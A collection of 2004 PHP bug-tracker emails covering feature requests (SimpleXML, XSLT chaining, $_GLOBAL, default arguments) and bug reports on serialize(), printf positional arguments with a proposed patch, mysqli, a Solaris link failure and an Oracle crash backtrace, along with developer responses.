ID: 29243 Updated by: [EMAIL PROTECTED] -Summary: SimpleXML additions Reported By: jim-bugs dot php dot net at jimdabell dot com Status: Open Bug Type: Feature/Change Request Operating System: FreeBSD PHP Version: 5.0.0 New Comment: rephrased summary Previous Comments: [2004-07-18 17:22:50] [EMAIL PROTECTED] Ok, it's nodeName or localName then, not ElementTypeName ;) anyway, at the moment you have to convert a simplexml node to a dom node if you want to have this info in your example, this woudl look like the following: *** $domelement = dom_import_simplexml($element); return $domelement-getAttributeNS(http://www.w3.org/XML/1998/namespace,lang;); *** No idea, if and when your wishes will be implemented... [2004-07-18 15:59:44] jim-bugs dot php dot net at jimdabell dot com getElementTypeName() would return the name of the element type as a string. For instance, p, table, h1, to use examples from XHTML. I know about the DOM extension, but I would have thought that, at the very least, getting the element type name and getting standard attribute values would be both frequently used and simple enough to go in. They are the very first pair of problems I ran into when starting with SimpleXML, so it's hardly an XML expert-only scenario - I'm merely parsing a simple document, nothing advanced. [2004-07-18 15:49:36] [EMAIL PROTECTED] What's getElementTypeName() supposed to return? There's no equivalent in DOM for that... If you need more powerful functions/methods/properties, you should maybe use the DOM Extension (or at least convert the node in question to a DOMNode, with dom_import_simplexml($node)). The SimpleXML Extension won't be extended with a lot of new methods/properties, AFAIK. It's supposed to be simple ;) chregu [2004-07-18 12:54:14] jim-bugs dot php dot net at jimdabell dot com Description: Right now, I don't think it's possible to retrieve the element type name of a simplexml_element instance. A getElementTypeName() method would be useful. It would also be useful to have an easier way of retrieving the XML language information, as described in the XML 1.0 specification. Reproduce code: --- Right now I am using a helper function like this to get xml:lang attributes: function getLanguage($element) { /* Returns the value of any xml:lang attribute when passed an element or null if there isn't one. */ $language = null; foreach($element-attributes('http://www.w3.org/XML/1998/namespace') as $attributeName = $attribute) { if ($attributeName == 'lang') { $language = (string)$attribute; } } return $language; } Obviously, that's a little unwieldy, and since the xml:lang attribute is defined in the XML 1.0 specification, it would be nice to have better support for it in PHP. Right now, as long as they are in the default namespace, it's much easier to get information about arbitrary, undefined attributes than it is about XML 1.0 standard attributes! -- Edit this bug report at http://bugs.php.net/?id=29243edit=1
#25569 [Opn-Csd]: DOMXML: namespaces in general
ID: 25569 Updated by: [EMAIL PROTECTED] Reported By: tkearns at fastmail dot fm -Status: Open +Status: Closed Bug Type: Feature/Change Request Operating System: windows PHP Version: 4.3.3 New Comment: Thank you for your bug report. This issue has already been fixed in the latest released version of PHP, which you can download at http://www.php.net/downloads.php This problem has been fixed in PHP 5. No new functionality will be added to PHP 4. Previous Comments: [2003-09-17 02:39:24] tkearns at fastmail dot fm Description: There is no way to detect existing namespace declarations in a domelement. see first user-note at http://www.php.net/manual/en/function.domnode-add-namespace.php The user-note also makes some comments on the bahaviour of set_namespace() but that issue is not as important as the lack of namespace declaration detectability. This is of particular importance when importanting exteernal XML data into DOMXML objects. Reproduce code: --- see first user-note at http://www.php.net/manual/en/function.domnode-add-namespace.php -- Edit this bug report at http://bugs.php.net/?id=25569edit=1
#11067 [Opn-Csd]: dumpmem() does not ident, or even make new lines when called
ID: 11067 Updated by: [EMAIL PROTECTED] Reported By: paulo at paulo dot com dot br -Status: Open +Status: Closed Bug Type: Feature/Change Request Operating System: linux debian 2.2 PHP Version: 4.0.5 New Comment: Thank you for your bug report. This issue has already been fixed in the latest released version of PHP, which you can download at http://www.php.net/downloads.php there are formatting options, which allow to get the XML indented on output Previous Comments: [2002-06-08 10:20:29] bigredlinux at yahoo dot com It is critical to understand that dump_mem now has a parameter for formatting the output. However, this feature will only work if when the xml was created, the whitespace was stripped. This is just how the underlying libxml2 library works. If you have even a single bit of indenting in your domxml object, there is no way to get a nice format on the output. Since when creating new nodes, they are created without indenting, it is useful to always strip the formatting on the way in. The problem is, there is NO way to strip formatting on the way in right now in the php functions domxml_open_*. However, libxml2 does have this feature and it is just a matter of adding an optional param to both of these php functions and then adding 3 lines of code in php_domxml.c. [2001-05-23 18:19:04] [EMAIL PROTECTED] Changing type to feature request. Derick [2001-05-23 18:16:44] paulo at paulo dot com dot br When you are making a new xmldoc using domxml functions like $node-new_child() and such, then you try to dumpmem, you get an horrible XML doc. No idents, no breaklines, and you cannot see what is nested! I know this is not a bug, but this feature is extremely important. XML should be readable for an human being. But the document appears in a single line! dumpmem does not change original XML (if any). I mean, if you do not start the XML from the scratch, the original XML reamis idented, and with breaklines and so, as it should be. thanks a lot for the good work! -- Edit this bug report at http://bugs.php.net/?id=11067edit=1
#23172 [WFx]: [RFE] Support for XSLT chaining
ID: 23172 User updated by: flying at dom dot natm dot ru Reported By: flying at dom dot natm dot ru Status: Wont fix Bug Type: Feature/Change Request Operating System: All PHP Version: 4.3.1 New Comment: XSLT chaining is support for applying transformation on results of another XSLT transformation without intermediate serialization/parsing of them Previous Comments: [2004-08-27 10:21:56] [EMAIL PROTECTED] PHP 4 won't get any new features, and the sablotron extension is not anymore in PHP 5. what's XSLT chaining anyway? [2003-04-11 19:24:16] [EMAIL PROTECTED] Changed category to Feature Request. [2003-04-11 13:14:36] flying at dom dot natm dot ru It will be great to see support for XSLT stylesheets chaining, introduced into Sablotron 0.98, into PHP bindings for this library. -- Edit this bug report at http://bugs.php.net/?id=23172edit=1
#23172 [WFx-Csd]: [RFE] Support for XSLT chaining
ID: 23172 Updated by: [EMAIL PROTECTED] Reported By: flying at dom dot natm dot ru -Status: Wont fix +Status: Closed Bug Type: Feature/Change Request Operating System: All PHP Version: 4.3.1 New Comment: that's possible with the new xsl extension in php5. therefore, it's closed, not Won't fix ;) As said, we won't add any new features to php4. Previous Comments: [2004-08-27 10:35:59] flying at dom dot natm dot ru XSLT chaining is support for applying transformation on results of another XSLT transformation without intermediate serialization/parsing of them [2004-08-27 10:21:56] [EMAIL PROTECTED] PHP 4 won't get any new features, and the sablotron extension is not anymore in PHP 5. what's XSLT chaining anyway? [2003-04-11 19:24:16] [EMAIL PROTECTED] Changed category to Feature Request. [2003-04-11 13:14:36] flying at dom dot natm dot ru It will be great to see support for XSLT stylesheets chaining, introduced into Sablotron 0.98, into PHP bindings for this library. -- Edit this bug report at http://bugs.php.net/?id=23172edit=1
#29846 [Opn]: Function to close the output stream
ID: 29846 User updated by: [EMAIL PROTECTED] Reported By: [EMAIL PROTECTED] Status: Open Bug Type: Feature/Change Request Operating System: Irrelevant PHP Version: 5.0.1 New Comment: There is a patch for similar function by Joseph Tate at http://marc.theaimsgroup.com/?l=php-devm=104092438811407w=2 Previous Comments: [2004-08-27 00:06:04] [EMAIL PROTECTED] See also bug #15209 [2004-08-26 11:51:31] [EMAIL PROTECTED] Description: Introduce function to force PHP to close the output stream so slower non user related functions can be executed. -- Edit this bug report at http://bugs.php.net/?id=29846edit=1
#29863 [NEW]: Not constant default argument
From: viraptor at sol dot wsiz dot rzeszow dot pl Operating system: Any PHP version: 5.0.1 PHP Bug Type: Feature/Change Request Bug description: Not constant default argument Description: When started using php 5 I tried to do something like this: class A { private $var; function B($arg = $this-var) { ... } } Got 'unexpected T_VARIABLE' or course, but I think it would be a nice option to add in a future releases - default arguments computed when function is called. It could be especially useful when used inside classes. Probably the same as bug #6566, but if it disappeared after php3, it certainly should be turned on again in php5 Expected result: Compute default arguments when calling a function, that can create those itself. It will help if you need something like: function A ($arg = NULL) { if($arg == NULL) $arg=$another_arg; . } -- Edit bug report at http://bugs.php.net/?id=29863edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=29863r=trysnapshot4 Try a CVS snapshot (php5.0): http://bugs.php.net/fix.php?id=29863r=trysnapshot50 Try a CVS snapshot (php5.1): http://bugs.php.net/fix.php?id=29863r=trysnapshot51 Fixed in CVS:http://bugs.php.net/fix.php?id=29863r=fixedcvs Fixed in release:http://bugs.php.net/fix.php?id=29863r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=29863r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=29863r=needscript Try newer version: http://bugs.php.net/fix.php?id=29863r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=29863r=support Expected behavior: http://bugs.php.net/fix.php?id=29863r=notwrong Not enough info: http://bugs.php.net/fix.php?id=29863r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=29863r=submittedtwice register_globals:http://bugs.php.net/fix.php?id=29863r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=29863r=php3 Daylight Savings:http://bugs.php.net/fix.php?id=29863r=dst IIS Stability: http://bugs.php.net/fix.php?id=29863r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=29863r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=29863r=float
#29863 [Opn-WFx]: Not constant default argument
ID: 29863 Updated by: [EMAIL PROTECTED] Reported By: viraptor at sol dot wsiz dot rzeszow dot pl -Status: Open +Status: Wont fix Bug Type: Feature/Change Request Operating System: Any PHP Version: 5.0.1 New Comment: You can only use constants as defaults for parameters to functions, this is not going to be changed. Previous Comments: [2004-08-27 12:31:42] viraptor at sol dot wsiz dot rzeszow dot pl Description: When started using php 5 I tried to do something like this: class A { private $var; function B($arg = $this-var) { ... } } Got 'unexpected T_VARIABLE' or course, but I think it would be a nice option to add in a future releases - default arguments computed when function is called. It could be especially useful when used inside classes. Probably the same as bug #6566, but if it disappeared after php3, it certainly should be turned on again in php5 Expected result: Compute default arguments when calling a function, that can create those itself. It will help if you need something like: function A ($arg = NULL) { if($arg == NULL) $arg=$another_arg; . } -- Edit this bug report at http://bugs.php.net/?id=29863edit=1
#29865 [NEW]: serialize produces invalid output
From: [EMAIL PROTECTED] Operating system: N/A PHP version: 5CVS-2004-08-27 (dev) PHP Bug Type: Strings related Bug description: serialize produces invalid output Description: Using serialize() with a class produces invalid output. Reproduce code: --- I haven't had a chance to properly investigate why this particular code causes a problem, but Derick seemed ontop of it already. ?php class cr { private $priv_member; function cr($val) { $this-priv_member = $val; } function comp_func_cr($a, $b) { if ($a-priv_member === $b-priv_member) return 0; return ($a-priv_member $b-priv_member)? 1:-1; } function comp_func_key($a, $b) { if ($a === $b) return 0; return ($a $b)? 1:-1; } } $a = array(0.1 = new cr(9), 0.5 = new cr(12), 0 = new cr(23), 1= new cr(4), 2 = new cr(-15),); $b = array(0.2 = new cr(9), 0.5 = new cr(22), 0 = new cr(3), 1= new cr(4), 2 = new cr(-15),); $result = array_udiff_uassoc($a, $b, array(cr, comp_func_cr), array(cr, comp_func_key)); $foo = serialize($result); echo $foo; ? Actual result: -- 61 3a 33 3a 7b 73 3a 33 3a 22 30 2e 31 22 3b 4f a:3:{s:3 :0.1;O 0010 3a 32 3a 22 63 72 22 3a 31 3a 7b 73 3a 31 35 3a :2:cr: 1:{s:15: 0020 22 00 63 72 00 70 72 69 76 5f 6d 65 6d 62 65 72 .cr.pri v_member 0030 22 3b 69 3a 39 3b 7d 73 3a 33 3a 22 30 2e 35 22 ;i:9;}s :3:0.5 0040 3b 4f 3a 32 3a 22 63 72 22 3a 31 3a 7b 73 3a 31 ;O:2:cr :1:{s:1 0050 35 3a 22 00 63 72 00 70 72 69 76 5f 6d 65 6d 62 5:.cr.p riv_memb 0060 65 72 22 3b 69 3a 31 32 3b 7d 69 3a 30 3b 4f 3a er;i:12 ;}i:0;O: 0070 32 3a 22 63 72 22 3a 31 3a 7b 73 3a 31 35 3a 22 2:cr:1 :{s:15: 0080 00 63 72 00 70 72 69 76 5f 6d 65 6d 62 65 72 22 .cr.priv _member 0090 3b 69 3a 32 33 3b 7d 7d;i:23;}} As you can see from this hexdump, there are 0 bytes being produced. This should not happen. -- Edit bug report at http://bugs.php.net/?id=29865edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=29865r=trysnapshot4 Try a CVS snapshot (php5.0): http://bugs.php.net/fix.php?id=29865r=trysnapshot50 Try a CVS snapshot (php5.1): http://bugs.php.net/fix.php?id=29865r=trysnapshot51 Fixed in CVS:http://bugs.php.net/fix.php?id=29865r=fixedcvs Fixed in release:http://bugs.php.net/fix.php?id=29865r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=29865r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=29865r=needscript Try newer version: http://bugs.php.net/fix.php?id=29865r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=29865r=support Expected behavior: http://bugs.php.net/fix.php?id=29865r=notwrong Not enough info: http://bugs.php.net/fix.php?id=29865r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=29865r=submittedtwice register_globals:http://bugs.php.net/fix.php?id=29865r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=29865r=php3 Daylight Savings:http://bugs.php.net/fix.php?id=29865r=dst IIS Stability: http://bugs.php.net/fix.php?id=29865r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=29865r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=29865r=float
#29866 [NEW]: Why isn't there a $_GLOBAL
From: reimer at webhostingtech dot de Operating system: PHP version: Irrelevant PHP Bug Type: Feature/Change Request Bug description: Why isn't there a $_GLOBAL Description: This is not bug, but a feature request. Since the release 4.1 we all use $_POST, $_GET, $_SESSION etc. for our scripting. I was just wondering why we do not use $_GLOBALS to access variables outside the class or function. I think this would fit better than $GLOBALS :) Reproduce code: --- ? $_REQUEST[foo] = foo; $foo = foo; function foo() { echo $_REQUEST[foo]; // Works echo $GLOBALS[foo]; // Works echo $GLOBALS[foo]; // Does not work } ? Expected result: Prints foos and an error. -- Edit bug report at http://bugs.php.net/?id=29866edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=29866r=trysnapshot4 Try a CVS snapshot (php5.0): http://bugs.php.net/fix.php?id=29866r=trysnapshot50 Try a CVS snapshot (php5.1): http://bugs.php.net/fix.php?id=29866r=trysnapshot51 Fixed in CVS:http://bugs.php.net/fix.php?id=29866r=fixedcvs Fixed in release:http://bugs.php.net/fix.php?id=29866r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=29866r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=29866r=needscript Try newer version: http://bugs.php.net/fix.php?id=29866r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=29866r=support Expected behavior: http://bugs.php.net/fix.php?id=29866r=notwrong Not enough info: http://bugs.php.net/fix.php?id=29866r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=29866r=submittedtwice register_globals:http://bugs.php.net/fix.php?id=29866r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=29866r=php3 Daylight Savings:http://bugs.php.net/fix.php?id=29866r=dst IIS Stability: http://bugs.php.net/fix.php?id=29866r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=29866r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=29866r=float
#29866 [Opn-WFx]: Why isn't there a $_GLOBAL
ID: 29866 Updated by: [EMAIL PROTECTED] Reported By: reimer at webhostingtech dot de -Status: Open +Status: Wont fix Bug Type:Feature/Change Request PHP Version: Irrelevant New Comment: We're not perl ;-) and therefore are not going to create another way of accessing globals while $GLOBALS perfectly does what we need. Previous Comments: [2004-08-27 13:55:18] reimer at webhostingtech dot de Description: This is not bug, but a feature request. Since the release 4.1 we all use $_POST, $_GET, $_SESSION etc. for our scripting. I was just wondering why we do not use $_GLOBALS to access variables outside the class or function. I think this would fit better than $GLOBALS :) Reproduce code: --- ? $_REQUEST[foo] = foo; $foo = foo; function foo() { echo $_REQUEST[foo]; // Works echo $GLOBALS[foo]; // Works echo $GLOBALS[foo]; // Does not work } ? Expected result: Prints foos and an error. -- Edit this bug report at http://bugs.php.net/?id=29866edit=1
#29733 [Opn]: printf handles repeated placeholders wrong
ID: 29733 User updated by: bugs dot php dot net at bluetwanger dot de Reported By: bugs dot php dot net at bluetwanger dot de Status: Open -Bug Type:Unknown/Other Function +Bug Type:Strings related PHP Version: 5.0.1 New Comment: Here's a patch: --- ext/standard/formatted_print.c.orig 2004-07-18 19:28:04.0 +0200 +++ ext/standard/formatted_print.c 2004-08-27 14:23:07.580732341 +0200 @@ -537,12 +537,6 @@ php_sprintf_appendchar(result, outpos, size, '%' TSRMLS_CC); inpos += 2; } else { - if (currarg = argc format[inpos + 1] != '%') { - efree(result); - efree(args); - php_error_docref(NULL TSRMLS_CC, E_WARNING, Too few arguments); - return NULL; - } /* starting a new format specifier, reset variables */ alignment = ALIGN_RIGHT; adjusting = 0; @@ -574,13 +568,6 @@ argnum += format_offset; - if (argnum = argc) { - efree(result); - efree(args); - php_error_docref(NULL TSRMLS_CC, E_WARNING, Too few arguments); - return NULL; - } - /* after argnum comes modifiers */ PRINTF_DEBUG((sprintf: looking for modifiers\n sprintf: now looking at '%c', inpos=%d\n, @@ -635,6 +622,13 @@ argnum = currarg++ + format_offset; } +if (argnum = argc) { +efree(result); +efree(args); +php_error_docref(NULL TSRMLS_CC, E_WARNING, Too few arguments); +return NULL; +} + if (format[inpos] == 'l') { inpos++; } Let's see if the line breaks survive. It basically removes the bogus (format[inpos + 1] != '%' will always be true there) arg number check and moves the right one outside the special case for complicated format specifiers. Previous Comments: [2004-08-18 14:46:41] bugs dot php dot net at bluetwanger dot de Description: printf('%s - %s %s %3$s %2$s', 1, 2, 3); complains: Warning: printf(): Too few arguments in /home/bertheau/printf.php on line 2 printf('%s - %s %s %3$s %2$s', 1, 2, 3, 4); does not complain and prints: 1 - 2 3 3 2 I expect the first version to not complain and print what the second version prints. -- Edit this bug report at http://bugs.php.net/?id=29733edit=1
#29733 [Opn]: printf handles repeated placeholders wrong
ID: 29733 User updated by: bugs dot php dot net at bluetwanger dot de Reported By: bugs dot php dot net at bluetwanger dot de Status: Open Bug Type:Strings related PHP Version: 5.0.1 New Comment: Here's a link: http://www.bluetwanger.de/~mbertheau/formatted_print.c.patch You make it really hard to submit a patch. This bug thing has no provision for attaching a file and you have to strain a lot to get at an email address of a developer mailing list. Previous Comments: [2004-08-27 14:30:33] bugs dot php dot net at bluetwanger dot de Here's a patch: --- ext/standard/formatted_print.c.orig 2004-07-18 19:28:04.0 +0200 +++ ext/standard/formatted_print.c 2004-08-27 14:23:07.580732341 +0200 @@ -537,12 +537,6 @@ php_sprintf_appendchar(result, outpos, size, '%' TSRMLS_CC); inpos += 2; } else { - if (currarg = argc format[inpos + 1] != '%') { - efree(result); - efree(args); - php_error_docref(NULL TSRMLS_CC, E_WARNING, Too few arguments); - return NULL; - } /* starting a new format specifier, reset variables */ alignment = ALIGN_RIGHT; adjusting = 0; @@ -574,13 +568,6 @@ argnum += format_offset; - if (argnum = argc) { - efree(result); - efree(args); - php_error_docref(NULL TSRMLS_CC, E_WARNING, Too few arguments); - return NULL; - } - /* after argnum comes modifiers */ PRINTF_DEBUG((sprintf: looking for modifiers\n sprintf: now looking at '%c', inpos=%d\n, @@ -635,6 +622,13 @@ argnum = currarg++ + format_offset; } +if (argnum = argc) { +efree(result); +efree(args); +php_error_docref(NULL TSRMLS_CC, E_WARNING, Too few arguments); +return NULL; +} + if (format[inpos] == 'l') { inpos++; } Let's see if the line breaks survive. It basically removes the bogus (format[inpos + 1] != '%' will always be true there) arg number check and moves the right one outside the special case for complicated format specifiers. [2004-08-18 14:46:41] bugs dot php dot net at bluetwanger dot de Description: printf('%s - %s %s %3$s %2$s', 1, 2, 3); complains: Warning: printf(): Too few arguments in /home/bertheau/printf.php on line 2 printf('%s - %s %s %3$s %2$s', 1, 2, 3, 4); does not complain and prints: 1 - 2 3 3 2 I expect the first version to not complain and print what the second version prints. -- Edit this bug report at http://bugs.php.net/?id=29733edit=1
#29867 [NEW]: mysqli_result-fetch_array() differs from Documentations
From: faxe at neostrada dot pl Operating system: Windows 5.1 32bit PHP version: 5.0.1 PHP Bug Type: MySQL related Bug description: mysqli_result-fetch_array() differs from Documentations Description: mysqli_result-fetch_array() uses MYSQLI_ASSOC as default argument. Not MYSQLI_BOTH like Documentation claims. Reproduce code: --- ?php $foo = $_mysqli-query('SELECT 1 AS bar'); $arr = $foo-fetch_array(); print_r($arr); // $arr contains only 'bar' key ? Expected result: Array ( [bar] = 1 ) Actual result: -- Array ( [0] = 1 [bar] = 1 ) -- Edit bug report at http://bugs.php.net/?id=29867edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=29867r=trysnapshot4 Try a CVS snapshot (php5.0): http://bugs.php.net/fix.php?id=29867r=trysnapshot50 Try a CVS snapshot (php5.1): http://bugs.php.net/fix.php?id=29867r=trysnapshot51 Fixed in CVS:http://bugs.php.net/fix.php?id=29867r=fixedcvs Fixed in release:http://bugs.php.net/fix.php?id=29867r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=29867r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=29867r=needscript Try newer version: http://bugs.php.net/fix.php?id=29867r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=29867r=support Expected behavior: http://bugs.php.net/fix.php?id=29867r=notwrong Not enough info: http://bugs.php.net/fix.php?id=29867r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=29867r=submittedtwice register_globals:http://bugs.php.net/fix.php?id=29867r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=29867r=php3 Daylight Savings:http://bugs.php.net/fix.php?id=29867r=dst IIS Stability: http://bugs.php.net/fix.php?id=29867r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=29867r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=29867r=float
#29868 [NEW]: Linking fails when using --enable-debug
From: Volker dot Weinberger at pharma dot novartis dot com Operating system: Solaris 5.8 PHP version: 5.0.1 PHP Bug Type: Compile Failure Bug description: Linking fails when using --enable-debug Description: Compilation/Linkings works OK without --enable-debug. As followup of another bug report was was asked to compile with --enable-debug. This fails consistently during linking phase of sapi/cli/php with a wierd error message: ild: (argument error) can't find library arguments :: -lresolv -ldl -ldl -lpthread *** Error code 8 make: Fatal error: Command failed for target `sapi/cli/php' Same on freshly extracted PHP distribution. == Full message: /bin/sh /bioinfnv/software/biobench/apache/build/tmp/php-5.0.1/libtool --preserve-dup-deps --mode=link cc -export-dynamic -xO2 -g -L/usr/ucblib -L/bioinfnv/software/lib -L/bioinfnv/software/mysql/current/lib -L/u01/home/oracle/product/9.2.0/lib -R /usr/ucblib -R /bioinfnv/software/lib -R /bioinfnv/software/mysql/current/lib -R /u01/home/oracle/product/9.2.0/lib ext/libxml/libxml.lo ext/openssl/openssl.lo ext/openssl/xp_ssl.lo ext/zlib/zlib.lo ext/zlib/zlib_fopen_wrapper.lo ext/ctype/ctype.lo ext/dom/php_dom.lo ext/dom/attr.lo ext/dom/document.lo ext/dom/domerrorhandler.lo ext/dom/domstringlist.lo ext/dom/domexception.lo ext/dom/namelist.lo ext/dom/processinginstruction.lo ext/dom/cdatasection.lo ext/dom/documentfragment.lo ext/dom/domimplementation.lo ext/dom/element.lo ext/dom/node.lo ext/dom/string_extend.lo ext/dom/characterdata.lo ext/dom/documenttype.lo ext/dom/domimplementationlist.lo ext/dom/entity.lo ext/dom/nodelist.lo ext/dom/text.lo ext/dom/comment.lo ext/dom/domconfiguration.lo ext/dom/domimplementationsource.lo ext/dom/entityreference.lo ext/dom/notation.lo ext/dom/xpath.lo ext/dom/dom_iterators.lo ext/dom/typeinfo.lo ext/dom/domerror.lo ext/dom/domlocator.lo ext/dom/namednodemap.lo ext/dom/userdatahandler.lo ext/gd/gd.lo ext/gd/gdttf.lo ext/gd/gdcache.lo ext/iconv/iconv.lo ext/mysql/php_mysql.lo ext/oci8/oci8.lo ext/pcre/pcrelib/maketables.lo ext/pcre/pcrelib/get.lo ext/pcre/pcrelib/study.lo ext/pcre/pcrelib/pcre.lo ext/pcre/php_pcre.lo ext/posix/posix.lo ext/session/session.lo ext/session/mod_files.lo ext/session/mod_mm.lo ext/session/mod_user.lo ext/simplexml/simplexml.lo ext/spl/php_spl.lo ext/spl/spl_functions.lo ext/spl/spl_engine.lo ext/spl/spl_iterators.lo ext/spl/spl_array.lo ext/spl/spl_directory.lo ext/spl/spl_sxe.lo ext/sqlite/sqlite.lo ext/sqlite/sess_sqlite.lo ext/sqlite/libsqlite/src/opcodes.lo ext/sqlite/libsqlite/src/parse.lo ext/sqlite/libsqlite/src/encode.lo ext/sqlite/libsqlite/src/auth.lo ext/sqlite/libsqlite/src/btree.lo ext/sqlite/libsqlite/src/build.lo ext/sqlite/libsqlite/src/delete.lo ext/sqlite/libsqlite/src/expr.lo ext/sqlite/libsqlite/src/func.lo ext/sqlite/libsqlite/src/hash.lo ext/sqlite/libsqlite/src/insert.lo ext/sqlite/libsqlite/src/main.lo ext/sqlite/libsqlite/src/os.lo ext/sqlite/libsqlite/src/pager.lo ext/sqlite/libsqlite/src/printf.lo ext/sqlite/libsqlite/src/random.lo ext/sqlite/libsqlite/src/select.lo ext/sqlite/libsqlite/src/table.lo ext/sqlite/libsqlite/src/tokenize.lo ext/sqlite/libsqlite/src/update.lo ext/sqlite/libsqlite/src/util.lo ext/sqlite/libsqlite/src/vdbe.lo ext/sqlite/libsqlite/src/attach.lo ext/sqlite/libsqlite/src/btree_rb.lo ext/sqlite/libsqlite/src/pragma.lo ext/sqlite/libsqlite/src/vacuum.lo ext/sqlite/libsqlite/src/copy.lo ext/sqlite/libsqlite/src/vdbeaux.lo ext/sqlite/libsqlite/src/date.lo ext/sqlite/libsqlite/src/where.lo ext/sqlite/libsqlite/src/trigger.lo regex/regcomp.lo regex/regexec.lo regex/regerror.lo regex/regfree.lo ext/standard/array.lo ext/standard/base64.lo ext/standard/basic_functions.lo ext/standard/browscap.lo ext/standard/crc32.lo ext/standard/crypt.lo ext/standard/cyr_convert.lo ext/standard/datetime.lo ext/standard/dir.lo ext/standard/dl.lo ext/standard/dns.lo ext/standard/exec.lo ext/standard/file.lo ext/standard/filestat.lo ext/standard/flock_compat.lo ext/standard/formatted_print.lo ext/standard/fsock.lo ext/standard/head.lo ext/standard/html.lo ext/standard/image.lo ext/standard/info.lo ext/standard/iptc.lo ext/standard/lcg.lo ext/standard/link.lo ext/standard/mail.lo ext/standard/math.lo ext/standard/md5.lo ext/standard/metaphone.lo ext/standard/microtime.lo ext/standard/pack.lo ext/standard/pageinfo.lo ext/standard/parsedate.lo ext/standard/quot_print.lo ext/standard/rand.lo ext/standard/reg.lo ext/standard/soundex.lo ext/standard/string.lo ext/standard/scanf.lo ext/standard/syslog.lo ext/standard/type.lo ext/standard/uniqid.lo ext/standard/url.lo ext/standard/url_scanner.lo ext/standard/var.lo ext/standard/versioning.lo ext/standard/assert.lo ext/standard/strnatcmp.lo ext/standard/levenshtein.lo ext/standard/incomplete_class.lo ext/standard/url_scanner_ex.lo ext/standard/ftp_fopen_wrapper.lo ext/standard/http_fopen_wrapper.lo ext/standard/php_fopen_wrapper.lo ext/standard/credits.lo
#29864 [Fbk-Opn]: CLI PHP crash after successful script completion when querying Oracle 9 DB CLOB
ID: 29864 User updated by: Volker dot Weinberger at pharma dot novartis dot com Reported By: Volker dot Weinberger at pharma dot novartis dot com -Status: Feedback +Status: Open Bug Type: Reproducible crash Operating System: Solaris 5.8 PHP Version: 5.0.1 New Comment: Backtrace attempt: unfortunately I'm not able to compile with --enable-debug (filed as a separate bug report). Backtrace info without --enable-debug: (gdb) bt #0 0x7edbe1ac in kpughndl0 ()from /u01/home/oracle/product/9.2.0/lib32/libclntsh.so.9.0 #1 0xbcd5c in _oci_close_session () #2 0x2597ec in list_entry_destructor () #3 0x256fc4 in zend_hash_del_key_or_index () #4 0x259480 in _zend_list_delete () #5 0xb8ea0 in _oci_conn_list_dtor () #6 0x2597ec in list_entry_destructor () #7 0x2572a4 in zend_hash_apply_deleter () #8 0x25746c in zend_hash_graceful_reverse_destroy () #9 0x23d1cc in shutdown_executor () #10 0x24ec38 in zend_deactivate () #11 0x1eda8c in php_request_shutdown () #12 0x28a984 in main () (gdb) frame 2 #2 0x2597ec in list_entry_destructor () tor_globals.function_state_ptr-function)-common.function_name Attempt to extract a component of a value that is not a structure. (gdb) frame 1 #1 0xbcd5c in _oci_close_session () function_state_ptr-function)-common.function_name Attempt to extract a component of a value that is not a structure. tor_globals.function_state_ptr-function)-common.function_name Previous Comments: [2004-08-27 13:17:14] [EMAIL PROTECTED] Thank you for this bug report. To properly diagnose the problem, we need a backtrace to see what is happening behind the scenes. To find out how to generate a backtrace, please read http://bugs.php.net/bugs-generating-backtrace.php Once you have generated a backtrace, please submit it to this bug report and change the status back to Open. Thank you for helping us make PHP better. [2004-08-27 12:40:03] Volker dot Weinberger at pharma dot novartis dot com Description: PHP CLI script consistently crashes with 5.0.1 *after* successful completion, i.e. the script executes successfully right to the end (just before the end line is printed in sample script below). Then, after a short delay, a bus error is produced (core dump). The same scripts (as well as the original script, sample script is shortened) work fine with CLI PHP 4.3.6 . The issue is tracked down to the d.seq field in the Oracle query, which is a CLOB 4000 field. The script does not crash when this field is omitted from the query. PEAR DB is used for Oracle connection. PEAR DB version: // // $Id: DB.php,v 1.59 2004/07/08 21:15:11 danielc Exp $ // Reproduce code: --- #!.../php501 ?php require_once('DB.php'); $dbh = DB::connect(oci8://...); if (!$dbh) { die(ERROR:Cannot connect to BCH1!); } $sql = SELECT d.seq . FROM sqbox.seqmandata d WHERE d.nvs_id = 'NVS2050' ; $sth=$dbh-query($sql); if(DB::isError($sth)){ die ($sth-getMessage()); } print just before the end\n; ? Expected result: No core dump. Actual result: -- Script produces full correct results, but core dumps right at the end. -- Edit this bug report at http://bugs.php.net/?id=29864edit=1
#29867 [Opn]: mysqli_result-fetch_array() differs from Documentations
